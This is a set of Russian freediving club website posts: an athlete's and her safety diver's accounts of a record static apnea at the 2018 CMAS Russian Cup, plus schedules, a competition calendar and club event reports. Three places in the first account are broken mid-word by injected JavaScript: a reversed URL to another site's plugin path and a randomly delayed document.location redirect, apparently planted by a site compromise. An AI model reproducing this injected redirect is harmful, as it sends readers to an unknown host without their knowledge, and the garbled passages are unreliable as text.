Часть 1.  Южнея Горелик: статика (STA), Кубок России CMAS 2018

— Южа, выходи!!!

— Кажется Маша волнуется.

…

Если фридайвинг — это боль, то статика — это абсолютное значение 😉

Битва с собственной головой и физиологией, а так-же с тараканами и бабочками… — что может быть сложнее?

— Для непосвященных. Статическое апное — это дисциплина в спортивном фридайвинге, где спортсмен лежит в воде мордой в воду и ничего не делает. Ну совершенно ничего. Ага.. это спортом называется. Нуу.. да.. этот спортсмен, кроме того, что он ничего не делает, он еще и не дышит.

Суть соревнования такого активного вида — отлежать максимально длительное время на задержке дыхания. Не метры — время наше всё!

В общем все просто, но вот что на самом деле происходит))))

уф..

Кубок России 2018. Уже прошли 3 дисциплины. 2 медали (классические ласты и DNF). Моноласту решила «слить» и это оказалось одним из важных мотивов не слить STA, а слить хотелось. Вернее боялось, что солью, что не смогу, что сдамся.. Очень мало тренировок в воде было. Последние 2 тренировки в воде провалила вчистую— паника, паника.. » я больше не могу и не хочу..» . Вот этого я и боялась. Боялась, что на старте так же «я больше не могу и не хочу и отстаньте все от меня»

поэтому искала, искала мотивации: зачем мне это надо? Могу-ли я? хочу-ли я? Га..но-ли я? А, ах да, Магнолия!!!! Ищем «магнолию»!!

— Сачканула на моноласте. Есть мотивация. Как то совсем будет нелепо провалить еще одну дисциплину.

— но у меня уже есть 2 медали! Антимотивация. Хотя это может успокоить, что уже ну хоть что-то сделала )))..

— ннуу.. тренера порадовать, нуу.. мож кого еще.. да.. себя порадовать. Сачкану — так сначала хорошо.. Психанула, воздухом подышала, а потом? Потом Южа Южу будет пилить и угрызения совести Южу будут пилить .. Мож проще отлежать желаемое, чем потом все это от себя выслушивать?? Хорошая мотивация.

В общем пошла, съела 3 конфетки трюфеля, прогулялась и спать.

4.30 до старта. проснулась, нелепая попытка растяжки, любимые хлопья* заливаем водкой водой и в басс

2.00 до старта. Пришла, раскидала шмотки в правильном хаосе, легла расслабляться. Лежу, полотенце на морде, остальное тело в спальнике. Расслабляюсь. Кажется немного стало получаться. Не зря тренировалась 3 предыдущих дня старта. Регулярные тренировки — это великое дело. Ну да, надо бы тренировать это и в дни тренировок… ну не будем о печальном.. )))

— смотри, труп лежит!! визг.. (это пацан-пловец девочку так решил испугать)..

— вот поросёнок..

ладно. Мне надо расслабиться. Опять закрываю глаза.

-Что делать будем? Вспоминаю богов расслабления в фридайвинге. Бутов? Дудов? Матвеенко?.. хм.. Дудов? не.. Дудов — это потом, когда контракции начнутся. Это тогда : — Бооль, ты гдеээ? Я иду к теебе!! Я вижу тебя! Я концентрируюсь в тебэээ!!!

1.30 до старта

— итак. Бутов или Матвеенко? Матвеенко или Бутов? В отчаянии объединяю этих двоих в единое целое. Что-то стало получаться.

— я тяжесть! Я чугунная чушка! Я скорость.. не это про другое.. Не сбивайся.

— палец тяжёлый, нога тяжёлая, пузо тяжелое, говно тяжелое.. не.. оно же всегда лёгкое.. не отвлекайся. Голова тяжёлая, руки тяжелые Я тяжесть!!! Оооо… Странное ощущение одновременной тяжести и лёгкости. По спине прошёл сквозняк.

— упс, где коврик? Я его не чувствую… Левитация? Я парю над ковриком, но опасаюсь, что влеплюсь в потолок ниши в которой лежу и что малолетки-спортсмены сопрут мой коврик. Аккуратно придерживаю его мизинцем.

1 час до старта. Надеваю гидрик и опять полежать.

— Тараканы!! Эти в голове опять начали суетиться и предлагают сбежать. Усаживаю каждого в его личное кресло, пристёгиваю и тщательно проверяю. И кляп. Да, кляп! Потом беру метёлку и начинаю выметать мусор и шелуху из извилин мозга. Моего мозга. Средней мягкости такой щёточкой мелкий такой мусор. Очень так визуально получилось. Мозг белый (почему-то) и плотный — почти мраморный. И извилины… мне показалось, что их маловато как-то. ЗАто мусор выметать удобно. В какой-то момент испугалась, что этак нужное могу зачистить.

35 минут до старта. Ползу к воде, стараясь припомнить все мотивации (пара тараканов освободились) и молясь, чтобы не психануть и отлежать хотя бы свои 6 минут.

30 минут до старта. Разминка в воде на удивление зашла легко и мягко за исключением того, что на 3-ей разминке переупаковалась и самбанулась. Но это на разминке. Вроде правилами не запрещено))), но упс… милое дело за 17 минут до старта!! Что теперь будет ? Всё испортила? Сохраняем с Машей спокойствие и переделываем 3-ю разминку

— Что будет то и будет. Маша серьёзна как всегда. Кажется эта не даст сбежать)))

10 минут до старта. Старт. Аккуратно упаковываюсь, помня казус и .. мяу-мяу…

Первая фаза.

— Ничего особенного. Лежу, пускаю сопли, кайфую

первое «не хочуу» как первая любовь ))) .. было достаточно мягкое, неуверенное, задавленное мотивациями. Машка берёт меня за руку (метод Горелик-Кузьмин). Ну теперь точно не сбежать. Рука уверенная, достаточно железная.

Открываю глаза. Даша плывёт. С фотиком по дну скребётся.

— оу.. неплохая фотография может получиться. Вижу кадр: вода, на поверхности мордой вниз лежит тело, его за руку держит другое тело. Это другое тело на днях оказалось под завалами подземного перехода и с побитыми рёбрами привезло семейство на соревы и теперь страхует тело, которое хочет сбежать. Ммм…… это же World Press Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to!!! Закрываю глаза, чтобы не портить Дашке кадр.

— время! хочу знать время!. Хлопаю по руке, как договорились. Маша не реагирует. Хлопаю ещё раз. Мария хватает меня железной хваткой за обе руки. Вырываюсь и барабаню. Мне зачем-то надо знать время вот сейчас!

— 4.40

— уф. В борьбе время пролетело незаметно. Необходимые 1м20 я могу потерпеть. Кажется так. Контракции идут, но достаточно мягко. Непривычно мягко. Странно.

— так.. что там Боги расслабления советовали? Мимо в пузырьках воздуха проплывает ухмылящееся лицо Бутова и задумчивое Дудова. Андрей на пропсе упражняется где-то на глубине.

— Южа, потерпи. Еще немного осталось. Слышу, что Маша волнуется

-хм.. Самое странное, что я поймала себя на том, что не психую, Я почему-то не психую. Начинаю психовать от того, что должна психовать, но не писхую. Слишком мягко как-то идёт статика. Тело, желая предупредить обычные психи, начинает выполнять привычные кульбиты в ожидании психа. Я наблюдаю за всем этим и удиваляюсь. Почти забавляюсь этакой шизофренией.

— Южа, 6 минут!!

— Маша волнуется раз, Маша волнуется два. Просканировала тушку. Вроде запас есть. Волнуюсь и я… руками и тушкой.

— 6.10

— 6.15 Машкин голос вибрирует и беспокоится. Это меня даже успокаивает.

— 6.20! ВЫХОДИ!!

— неа. Понимаю, что Маша по цифре договорённой выгоняет меня из воды. Решаю попробовать снять шапочку и очки. Давно хотела, но всё забывала. Снимаю

-ооо.. хорошоооо!!

— Южа, ВЫХОДИ!! уже паника и отчаяние. Ну да, я же не предупредила, что буду этакое творить. Кажется я теряю страхующего. Интересно, за блекаут страхующего КК полагается? НАчинаю тихо ржать и решаю выйти. Машка мне друг и надо ее спасать))))

ВЫход, протокол как всегда стремительны и поспешны, но перед выполнением протокола, мне сначала надо было убрать волосы с лица. Шапку-то сняла, вот и пришлось сначала разгребать «чёлку» ))))Машка живая.

Все ржут.

Выползаю. На меня падают другие отлежавшие. Вместе валяемся и ржём.

Получилось 6.29 , первое место и, оказывается, национальный рекорд CMAS. И он даже второй у меня. На ЧР 2017 у меня тоже был нац. рекорд, но об этом знали все, кроме меня))) Забавно. Но мы же помним цифру НАташи Молчановой!!! Так тчо пахать и пахать

говорят, что на наше представление статику собрался народ.

и да.. Получается что я что-то стала понимать в статике.. ну немножко, нооо))))) Посмотрим, что дальше будет

хочу сказать огромное спасибо Тренеру Екатерина Сеничкина, страхующей Марии Овчинниковой (Voltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Servetta) Машка, извини, что поволноваться заставила, но ты мне очень помогла!!! , Богам Eugeny Boutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov, Александр Дудов , Андрей Матвеенко. Оксана Бергман, спасибо за шапочку неопреновую. Шапка бомбическая. Большущее спасибо всей команде Монофин (#monofin) за поддержку и помощь. У нас Команда! Это очень круто.

Спасибо Южнее Горелик за ее отчет, взято отсюда https://yuzhneika.livejournal.com/30070.html .

Часть 2. От лица страхующего. Про хемуля, статику и домик пана Тыквы

Все самое лучшее (как и худшее) в жизни должно совершаться непредсказуемо, случаться непреднамеренно и происходить внезапно.
Именно с этой мыслью я решила все-таки поехать в Питер, невзирая на обстоятельства. Что там какие-то бураны, ураганы и ребра, когда муж едет стартовать. Поэтому я *бросила изящное рукоделие наложила тейпы на ушибы, сдала рабочий пост на вторую половину пятницы, собрала детей, посулив им «веселые приключения» (а когда было иначе), закинула гидрик и ласты, и мы поехали.
Питер нас встретил радостной четой Гусаровых (Таня и Андрей, спасибо за то, что приютили аж четверых — с детьми) и …бегунами. Радостно продираясь сквозь мороз и вьюгу, вдоль набережной неспешно шлепали самые стойкие — тут я даже почувствовала себя предателем, потому что уже пару недель не бегаю (утренняя пробежка, что может быть лучше ее отсутствия, ага).

Первый день мы в основном показывали — и смотрели! А посмотреть было на что — мужской зачет просто сиял, а наша Настя тоже была выше всяких похвал — второе место в ласте, красиво и четенько. Я прошу прощения, что мне не удалось всех снять — все были красивыми, но мне просто физически нужно было снимать фотоаппарат раз в полчаса, к сожалению.
Второй было веселее — на статику из клуба Монофин было заявлено двое. Собственно, сам Сергей и Южа. Оба попросили их вывести и вынести.
Я считаю процесс страхования чем-то достаточно интимным — ну, то есть, мне достаточно сложно вывести человека, про которого я ничего не знаю. Есть, знаете, что-то такое сакральное, в том, чтобы знать, где помять, где почесать спинку, а где на ушко сказать, чтобы полегчало. Есть, конечно, счастливые самодостаточные люди, лежащие идеально — примерно так с Сергеем и получается, его можно просто вытащить, сориентировать в сторону судьи и ждать, пока на нем с нужной стороны проклюнется мох, сам фридайвер замерзнет и вылезет.
С Южей все немного по-другому — поэтому мы немного договорились заранее, в какие моменты мне нужно брать ее за руку, в какие говорить, в какие отойти. Ну, и, конечно, соревнования такого уровня — пан или пропал. Поэтому я постаралась немного помедитировать после сорокаминутного натягивания гидрика через ушибленную грудную клетку, мотивируя себя классикой: «все будет хорошо, потому что плохо уже надоело», и вышла на бортик совсем спокойной, вручив детям планшет и вид с первого ряда. Разминка пошла немного не так, как планировалось. Южа сильно волновалась, третья попытка вообще не зашла, поэтому внутренне я просчитала попытку на шесть минут.
В Питере нет дна. В плане бассейна — на ноги не встанешь, поэтому страхующие, имеющие мягкую попу, в плюсе: они могут на ней пропрыгать в стартовую зону по бортику, нежно подпинывая своего визави. У кого попы нет, тот крабиком или крокодильчиком шуршит в водице, смотря, чтобы спортсмен не заплыл далеко. В позе кошки с грацией картошки, я проволокла Южу по воде первым методом.
С места мне открывался прекрасный вид на красивые ноги судьи, красивую Кристину Исееву и не менее красивые часы, на которых красиво оказалось, что у нас уже скоро отсчет. Первые четыре минуты мне удалось вволю налюбоваться на все виды, попинывая Южу в бедро, чтобы она не уплывала, а вот дальше началось веселье — я взяла ее за руку, согласно просьбе, и поняла, что подо мной нет опоры. Поэтому время я говорила уже как-то совсем на ухо, а когда отдала вторую руку, наше лежание стало изрядно напоминать вальс (поводов поругаться заранее нашлось, поэтому дрались молча).
Сергей непредсказуемо вышел на 6-04, не отлежав даже тренировочное время, поэтому тут я уже готова была, фокус «встать раньше» бы не прошел. Минуту пришлось рассказывать на ухо про все прелести лежания дальше, мотивируя чем придется: разве что передача сладостей через зайчика не пошла в ход, все-таки лет много. «Южа», говорю я, «подожди, потерпи еще немного, еще не весь бассейн собрался, ща мы приманим пловцов побольше с 16 по 50, и тогда можешь вылезать! Красиво!» ( я вот всегда красиво встаю, в патриотичное бело-сине-красной расцветке, мало кто устоит при таком виде). Краем глаза я вижу, что, действительно, публика собирается на мои восторженные вопли. Муж с фотоаппаратом прибежал, медики оживились, рядом спортсмены уже встали, протокол сделали и тоже смотрят. Неловко как-то. «Без пяти шесть», говорю Юже громко, и тут она под водой внезапно снимает очки и шапку, вырывая у меня руки. Только пузыри пошли. «Все», думаю я. «Первый утопленный чемпион в жизни!», и начинаю мягко, в самых приличных выражениях общаться, мол, не соблагоизволит ли Южнея Михаловна привести себя в вертикальное положение, да протокол выполнить белой рученькой, а не то придется выдержать порицание массовое да хулу народную. В несколько других выражениях, конечно. Южу трясет, но она головой мотает и не встает. Тяну ее за руки — упирается, на бортик поставила, времени 6-20. Тут, конечно, польза разгильдяйства сказалась — на бортик хорошо ставить людей, которые ничегошеньки не знают о цифрах, потому что я была вообще не в курсе, что мы на рекорд идем. «Южа,», говорю я, «Пожалей, детушки малые у меня на бортике сидят, отпусти, Христа ради, обедать хочется, уйти уже из бассейна треклятого».

Тут, конечно, Южа выходит, продолжая смеяться. А я замолкаю, согласно правилам. И за шесть секунд делает протокол. И через уже пятнадцать мы понимаем, что все будет хорошо, мне тоже можно выдохнуть, и судья с Южей смеются, а я роняю скупую слезу, ну так, чтоб никто не видел. И все хорошо заканчивается. И мы на бортике пьем чай, и кое-что покрепче, орехи, например.

Я благодарю тренера, Екатерину Сеничкину и Тимофея Морозова за навыки, коуча Сашу Павлова за наш выезд и решение массы организационных вопросов, Южнею Горелик и Сергея Звонцова за их статику, бассейн «Невская волна», судейскую коллегию и оргкомитет Кубка за соревнования. Также благодарю свой клуб «Монофин» за поддержку!

Автор использованных фото Сергей Звонцов, Даша Музыкантова.

Соревнования завершились. Все делают выводы и пишут отчеты. Мы не станем исключением, тем более, нам есть что рассказать.
Поездки в северную столицу никогда не бывают легкими: сильный состав участников, другие правила и концепция проведения спортивного мероприятия. Спортсмены сконцентрированы и готовы к любым сюрпризам и неожиданностям. Но и сами порой удивляют.

В рамках соревнований были проведены испытания новеньких усовершенствованных жабр, которые помогли Южнее Горелик занять первое место. Мы просто не знаем других объективных причин так долго не дышать — целых 6 минут 29 секунд. На первый взгляд кажется, что эта попытка была тяжелой. Однако Южнея лишь слегка приняла бледный вид.

Анастасия Жихарева опробовала в первый раз на соревнованиях моноласту с гидроприводом, а иначе как можно проплыть 185 метров на одном вдохе, а на следующий день еще и 16 раз по 50 за 14 минут 48 секунд?! Конечно, допустимо, что здоровый сон накануне оказывает свое воздействие на организм, но и его влияние не безгранично.

Александр Павлов тестировал новые ласты, которые по заверению создателей, увеличивают производительность затрачиваемых усилий процентов на 15. Силы были приложены правильно, и выход на бортик был осуществлен в соответствии с заданным вектором на расстоянии 180 метров 50 сантиметров от зоны старта. К слову сказать, те же самые ласты помогли и Южнее Горелик достичь отметки 147 метров. Применение двух гаджетов признано недопустимым, поэтому ей пришлось выбирать между жабрами и ластами.

По итогам второго дня соревнований стоит отметить, что применение дополнительных устройств в апное динамическом весьма затруднительно, поэтому пришлось положиться на волю случая, и он не подвел. Рекордные снегопады в Москве и Санкт-Петербурге обладают поистине убаюкивающим действием на спортсменов под водой. Александр достиг отметки в 157 метров и 70 сантиметров и показал протокол судьям в тот момент, когда он постиг дзен. По той же самой причине Южнея Горелик улыбалась на бортике после протокола на отметке 117 метров 40 сантиметров. Глубокие физиологические причины воздействия холода и снегопада на состояние спортсмена на дистанции врачам и ученым еще предстоит изучить, однако первый опыт показывает, что зависимость есть, и она явно прямая.
Кроме того, из достоверных источников удалось выяснить, что судьи на бортике теперь будут снимать попытки спортсменов в режиме бумеранга. В будущем это позволит увеличивать дистанцию, пройденную спортсменом в ласте, до 300 метров минимум без дополнительных усилий, благодаря приему залипания на повторяющемся действии.

Острый репортаж о призовых местах, занятых нашими спортсменами в Санкт-Петербурге записала для вас Маргарита Пинашкина. Следите за новостями из-за кулис подводного зазеркалья.

С 1 по 4 февраля в Санкт-Петербурге прошел Кубок России по подводному спорту (апноэ). Соревнования были по правилам CMAS в следующих дисциплинах:

• динамика в классических ластах (они же би-ласты или по-просту «разножки»);
• динамика в моноласте;
• динамика без ласт;
• ныряние 100 метров на скорость;
• ныряние 16х50 метров тоже на скорость;
• статика.

Подробнее узанать о дисциплинах CMAS в спортивном фридайвинге и правилах соревнований можно на нашем сайте в разделе CMAS.

Монофиновцы стартовали во всех дисциплинах, кроме «скоростной сотни», и в каждой оказывались на пьедестале:

Динамика в классических ластах
Александр Павлов — 1 место, Южнея Горелик — 2 место.

Сегодня в Санкт-Петербурге стартует Кубок России по подводному спорту (апноэ). Соревнования будут проходить с 1 по 4 февраля 2018 года по правилам CMAS.

Monofin team отправилась на Кубок России в следующем составе:
Александр Павлов, Анастасия Жихарева, Южнея Горелик, Маргарита Пинашкина, Сергей Звонцов

Расписание соревнований:

1 февраля (четверг) с 11:00 до 14:00

Динамика в классических ластах — участвуют Александр Павлов, Южнея Горелик, Маргарита Пинашкина

Апноэ скоростное — 100 м

2 февраля (пятница) с 11:00 до 14:00

Динамика без ласт — участвуют Александр Павлов, Анастасия Жихарева, Южнея Горелик, Маргарита Пинашкина

3 февраля (суббота) с 11:00 до 14:00

Динамика в моноласте — участвуют Анастасия Жихарева, Южнея Горелик, Маргарита Пинашкина

4 февраля (воскресенье) с 11:00 до 14:00

Статика — участвуют Южнея Горелик и Сергей Звонцов

Апноэ 16х50 м — участвуют Анастасия Жихарева и Южнея Горелик

Следите за информацией о результатах выступлений в нашей группе на Facebook!

Болеем за вас, ребята, и желаем удачи!

Ребята прибыли из Ярославля, привезли кубок по фридайвингу и, по доброй клубной традиции — мы совместно отметили победу, отпраздновав событие за общим столом. А отметить было что — первое место командного зачета, это вам не пустяки, а результат слаженной и четкой работы всех участников, включая коуча (Александра Павлова)!

Впрочем, мы не только ели, но и делились впечатлениями, а для тех, кто по какой-то причине пропустил общий стол, ниже — небольшое личное интервью Александра Купцова о том, что произошло на Ya-free!

…Сегодня отмечали наш кубок с YA-FREE 2018. Он наконец доехал до клуба). Попросили написать отзыв. Чё бы и нет?)

С чего бы начать? Пожалуй, с того, что еще летом, после серии неудач, я собирался с соревнованиями завязывать. Правда, речь пока не шла про «никогда-никогда», но до лучших времен (которые, впрочем, могли никогда не наступить). Тренировок это, конечно, не касалось: завязать с фридайвингом я бы не смог ни при каких!Казалось бы ничто не предвещало… И все же, после того, как я осенью вернулся из Дахаба, мы посовещались, и решили еще попробовать.

Собрали команду довольно быстро. Делать нырки на максимум не предполагалось. Ну а если все же не пойдет (именно этого я всегда больше всего боюсь: а вдруг именно сейчас хоп! и не получится), то я особо ни на что и не рассчитывал. Как говорилось в одном фильме: «в череде последних неудач <…>, это бы не было чем-то выдающимся».
Отсюда и заявки «все по 50»: не нужно ничего долго придумывать, выполняются с пол-пинка и с изрядной долей самоиронии.

Итак, соревнования. День первый. Статика. Хорошо выспаться мне не удалось ни в эту, ни в следующую ночь. Ну не спалось! Впрочем, на самочувствии это особо не сказалось. Стартовать в статике предстояло первым. Вообще-то я не хотел первым идти (ну еще со школы привычка), ожидал, что участников будет много больше, и кто-то точно будет впереди меня. Но тут оказалось, что у первого свои бонусы: можно было делать разминку прямо в стартовой зоне и потом никуда не идти! Разминочные задержки прошли отлично, гораздо легче, чем на тренировке перед выездом. Когда лежал основную, субъективно мне показалось, что дискомфорт пришел раньше. Ну ладно, значит не в этот раз. Дождался начала контракций, глянул на часы и опа!, а там уже 4:40! Не, ну это другой разговор! Чё там осталось то! Встал по Сашиной команде (хотя я и так собирался выходить).

Через пару часов был брасс. В этот раз он был в четвертаке. Груз подбирать пришлось уже непосредственно на разминке. И вот тут я лоханулся: отчего-то я решил, что на разминку и отдых мне нужно 20 мин, хотя на самом деле это чистое время разминки. В результате нырнуть я успел только один раз. Разминочный нырок прошел в полном комфорте, что давало надежду на неплохой основной. Перед стартом пришлось понервничать: подхожу к дорожке, а там никого. Вроде сейчас еще не мое время, а вдруг…! А у них уже минута!!! Спасибо Саше, что узнал, что я следующим иду. Впрочем, в противном случае стартовать я бы уже по-любому не успел. Итак, моя очередь. Полетели! У меня внутренний диалог шел практически непрерывно. Уже после первого разворота пришла мысль: «а может ну его!». Вот даже дыхательного дискомфорта еще нет, а не хочется. Отвечаю: «Все, нормально, немножко еще, уже развернулись, назад плывем. Молодчина! Умница!». И на другой волне: «только не думай, сколько еще осталось, всего 35 метров же прошли!!». Второй разворот. «Да-да, сейчас уже заканчиваем, чуть-чуть осталось». Третий разворот. И тут всё меняется — теперь уже я: «Ну всё, пора заканчивать». А мне в ответ: «Блин! Ну нет, давай еще хоть гребок! Пожааалуйста!». «Ладно, но один!». Выныриваю, встаю ногами на дно (там мелко, по грудь где-то) и выполняю протокол.

День второй. Моноласта. Кстати, моноласта не моя была. И груз на шею, и пояс!)) Здесь всё шло по плану. Вода в полтиннике была прохладная, 26°, но это не новость, так что я запасся большим махровым полотенцем и после разминки в него завернулся. Снова метров с 35 пришлось себя уговаривать и подбадривать. Первый разворот. «Все-все-все, уже назад плывем! Молодец, чуть-чуть еще!» И на другой волне: «Не думай, что еще только 60! Цыц!». И так всю дорогу)) Уже выныривая вспомнил, что на бортик выходить нельзя, только на дорожку, поэтому траектория была кривоватой. А так ничего, всё получилось здорово!

А про кубок по фридайвингу… Ну конечно я понимаю, что участников было мало, так что соперничества практически не было, но всё равно приятно.

Команда Монофин благодарит Александра Акивиса и Олега Маслова за фото, также использованы фото из собственного архива Саши Купцова. 

Для всех спортсменов и любителей фридайвинга публикуем календарь объявленных соревнований по фридайвингу на 2018 год в России и ближнем зарубежье. Информация будет обновляться в течение года. Следите за новостями на нашем сайте!

20-21 января — Открытый кубок Ярославля по фридайвингу. AIDA

31 января — 5 февраля — Кубок России CMAS (Санкт-Петербург)

10-11 февраля — III открытый чемпионат Урала и Сибири по фридайвингу (Первоуральск) AIDA

10-11 февраля — Кубок Риги по фридайвингу (Латвия). AIDA

23-25 февраля — Кубок Санкт-Петербурга по фридайвингу. AIDA

17-18 марта — Чемпионат Москвы CMAS

24-25 марта — Кубок Брянска по фридайвингу. AIDA

11-14 апреля — Чемпионат России CMAS (Санкт-Петербург)

20-22 апреля — Чемпионат России им. Н. Молчановой AIDA (Москва)

23 июня — 1 июля — Чемпионат мира по фридайвингу в бассейне. AIDA
(Белград, Сербия)

11-16 июня 2018 — Чемпионат мира по фридайвингу в бассейне. CMAS
(Линьяно, Италия)

1-10 октября 2018 — Чемпионат мира по фридайвингу на открытой воде. CMAS (Каш, Турция)

Наши Мастера Александр Купцов и Владимир Митрофанов и прекрасная Маргарита (Пинашкина) в минувшие выходные покорили Ярославль.

Команда Monofin team 2.2 завоевала первое место и кубок в командном зачете на Открытом кубке Ярославля по фридайвингу. Соревнования проводились по правилам AIDA.

Саша Купцов взял серебро в статике, Рита — серебро в динамике в моноласте и две бронзы: в статике и динамике брассом, а Володя поставил два личных рекорда. Все выступления были с белыми карточками (то есть без штрафных очков).

Поздравляем наших спортсменов с отличным стартом сезона 2018!

Желаем отличных выступлений и белых карточек нашим спортсменам, стартующим в ближайшие выходные на Открытом кубке Ярославля по фридайвингу! Monofin team — вперед!

20-21 января в Ярославле состоятся первые соревнования по фридайвингу в бассейне в сезоне 2018.
Открытый кубок Ярославля по фридайвингу пройдет по правилам AIDA. Соревнования будут в трех дисциплинах: статика, динамика в ластах и без ласт.
Зачеты: индивидуальный личный мужской и женский зачеты в каждой дисциплине, а также командный зачет по сумме результатов участников команды в трёх дисциплинах. Состав команды: три участника (минимум одна девушка).

В этом году команда клуба Monofin отправляется в Ярославль в составе: Маргарита Пинашкина, Александр Купцов и Владимир Митрофанов.
Коуч команды: Александр Павлов (МС).

Следите за выступлениями нашей команды на сайте соревнований:
https://www.yafreecup.com
Или приезжайте болеть! До Ярославля всего 3 часа 20 минут на поезде и чуть дольше на автомобиле! Отличный вариант провести выходные в этом красивом и гостеприимном городе!
Вход для зрителей — свободный.

Расписание стартов:

20.01.2018 (суббота)

8:30-10.15 — Старты статика (STA)
13:00 – 15.00 Старты ныряние в длину без ласт (DNF)

21.01.2018 (воскресенье)

9:45 – 13.00 Старты ныряние в длину в ластах (DYN)

Удачи нашим монофиновцам!

За окном уже давно настали трудовые будни, а у нас открылся новый раздел сайта под названием “CMAS. Обучение фридайвингу”. В нем есть вся информация о системе обучения по стандартам CMAS, цены и прочая информация о курсах для студентов и инструкторов по фридайвингу.

Enjoy!

Новый год в бассейне для детей и взрослых в Monofin праздновался весело и с размахом — 30 декабря состоялась эстафета для детей и взрослых, а на следующий день — традиционный марафон в моноластах! Несмотря на то, что хлопот перед праздником хватало у всех, участники эстафеты с трудом поместились на дорожке — так много желающих поучаствовать было! В этом году также отдельно проводились и детские эстафеты — своеобразная «подводная елка» для детей привлекла всех маленьких участников, которые гостили в клубе на протяжении этого года.

Детские игры проводились отдельно — под присмотром Жихаревой Насти дети соревновались, плавая на скорость или пытаясь проплыть дорожку на надувном шаре. Между прочим, это им удалось гораздо лучше, чем старшим фридайверам: в одной из «взрослых» команд шар лопнул от натиска страстей. Впрочем, это веселью не помешало — доплывали дистанцию без шара. Множество упражнений эстафеты проводилось и без ласт.

Отдельные эмоции вызвало упражнение «лошадка» — где участники пытались плыть брассом, используя инвентарь, как «седло» на воображаемой лошади. Далеко не у всех здесь получилось показать красочный брасс, зато эмоций было море! Фотографы на бортике воодушевлялись ничуть не менее спортсменов, и, кажется, даже болели за самых выразительных участников. Кстати, за «артистизм» можно было получить дополнительные баллы, поэтому ребята старались, как могли и даже лучше!

Самые стойкие также пытались надуть на следующем этапе соревнований воздушный шарик под водой на скорость — кто быстрее надул, тот и молодец, но не просто «сам», а в команде! Бесспорными фаворитами на этом поприще стали Южнея Горелик и Саша Павлов, а также Сергей Звонцов — благодаря отточенным навыкам, полученным в ходе статических задержек дыхания и прочих хитрых упражнениях, команда, к которой ребята принадлежали, в итоге и выиграла. У малышей состязание было не менее насыщенным — многие даже не хотели вылезать из воды, чтобы продолжать дальше нырять и плавать. Только обещание награждения смогло выманить многих на берег.

Интрига во всеобщей напряженной борьбе сохранялась до последнего момента, пока добросовестные судьи в лице Екатерины Сеничкиной не развеяли сомнения, и не приступили к объявлению итогов.

Кроме командного, в каждой эстафете проводился и «индивидуальный» зачет — лучшим из лучших в конце доставался отдельный приз. Кроме того, все участники, и большие, и маленькие, получили оригинальные брендированные призы клуба Монофин — блокноты, календари и прочие приятные сувениры. Никто не ушел с пустыми руками — особенно были счастливы дети, получившие сюрприз-фонарик.

После полуторачасового соревнования взрослые отправились греться на дорожку — кролем, дети — в сауну и душ погреться, а затем все желающие могли сфотографироваться возле традиционной подводной елки, привязав «на счастье» шарик — на задержке дыхания, конечно же! Это было не так легко, как могло бы показаться — шарики в этом году были без утяжеления, и так и норовили выскользнуть из рук, поэтому украшение елки заняло не одну минуту.

А самые-самые выносливые затем отправились и далее продолжать банкет за чаепитием со вкусными сладостями и пирогами. Чтобы потом, конечно же, продолжить тренировки в клубе Монофин уже со второго января!

А еще фото с мероприятия можно посмотреть здесь >> , как обычно, в нашей группе в ФБ.

За все фотографии, сделанные на мероприятии, спасибо Елене Корчагиной, Ольге Сидоровой, Даше Музыкантовой!